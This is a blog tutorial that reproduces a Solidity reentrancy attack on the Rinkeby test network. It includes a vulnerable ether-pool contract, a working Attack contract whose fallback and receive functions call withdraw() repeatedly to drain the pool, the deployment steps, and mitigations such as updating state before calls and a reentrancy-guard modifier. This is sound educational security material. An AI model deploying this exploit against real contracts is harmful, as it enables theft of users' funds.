Reentrancy Attack - A demo on Rinkeby Test Network
This post focuses on reproducing the vulnerability on the Rinkeby Test Network. Hope it will help you in learning about Reentrancy attack.
How reentrancy attacks work?
This type of attack can occur when a contract sends ether to an unknown address. An attacker can carefully construct a contract at an external address that contains malicious code in the fallback function. Thus, when a contract sends ether to this address, it will invoke the malicious code. Typically the malicious code executes a function on the vulnerable contract, performing operations not expected by the developer. The term "reentrancy" comes from the fact that the external malicious contract calls a function on the vulnerable contract and the path of code execution “reenters” it.
https://github.com/ethereumbook/ethereumbook/blob/develop/09smart-contracts-security.asciidoc#the-vulnerability
Deploy the vulnerable contract
Consider the following vulnerable contract, which acts as an Ethereum pool that allows depositors to withdraw ether.
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract EtherPool {
mapping (address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
receive() external payable {}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call {value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint){
return address(this).balance;
}
}
Deploy the contract to Rinkeby Test Network by using Remix. Note that select to Injected Web3 Environment.
After deploying successfully, the vulnerable contract address is 0x19612e91962197235b4082a37C90C6C406Ee6B58.
Now you can send some ether to this contract. In this context, I send to this contract 2 ether.
Deploy the attack contract
Here I have a following contract to exploit the reentrancy vulnerability.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
receive() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
Only note with the exploit contract that is Semantic and Syntactic Changes.
The unnamed function commonly referred to as “fallback function” was split up into a new fallback function that is defined using the
fallback
keyword and a receive ether function defined using thereceive
keyword.
That’s why you see both receive()
and fallback()
in the above exploit contract.
At this point, we ready to deploy the attack contract on Test Network. We do this by 3 step on Remix :
Select Injected Web3 Environment
Paste address of vulnerable contract as a parameter when deploy (0x19612e91962197235b4082a37C90C6C406Ee6B58)
Click
Deploy
button
After deploying successfully the attack contract. We call attack()
function to steal all ETH of the victim contract. To do that, we to send 1 ether
to the victim contract. After successfully executing the mining transaction, check the amount of ETH contained in the attacker contract's address will be 3 ETH.
Tracking transactions history
Attack contract: https://rinkeby.etherscan.io/address/0x8183288bbb9e6eed7cb51a9bfc20603c63175d42
Vulnerable contract: https://rinkeby.etherscan.io/address/0x19612e91962197235b4082a37c90c6c406ee6b58
How to Protect Smart Contract Against a Reentrancy Attack
Ensure all state changes happen before calling external contracts, i.e., update balances or code internally before calling external code.
function withdraw() public noReentrant{
uint bal = balances[msg.sender];
require(bal > 0);
//changes happen before calling external contracts
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call {value: bal}("");
require(sent, "Failed to send Ether");
}
Use function modifiers that prevent reentrancy
contract EtherPool {
mapping (address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
receive() external payable {}
// modifier help preventing the contract go in recursive loop
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
function withdraw() public noReentrant{
uint bal = balances[msg.sender];
require(bal > 0);
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call {value: bal}("");
require(sent, "Failed to send Ether");
}
function getBalance() public view returns (uint){
return address(this).balance;
}
}
Use
send()
andtransfer()
instead ofcall().
Both functionssend()
andtransfer()
were considered the go-to solution for making payments to EOAs or other smart contracts. They help you prevent Reentrancy attack but since the amount of gas they forward to the called smart contract is very low (2300 gas), the called smart contract can easily run out of gas. This would make the payment impossible.
Ref
https://github.com/ethereumbook/ethereumbook/blob/develop/09smart-contracts-security.asciidoc
https://solidity-by-example.org/hacks/re-entrancy/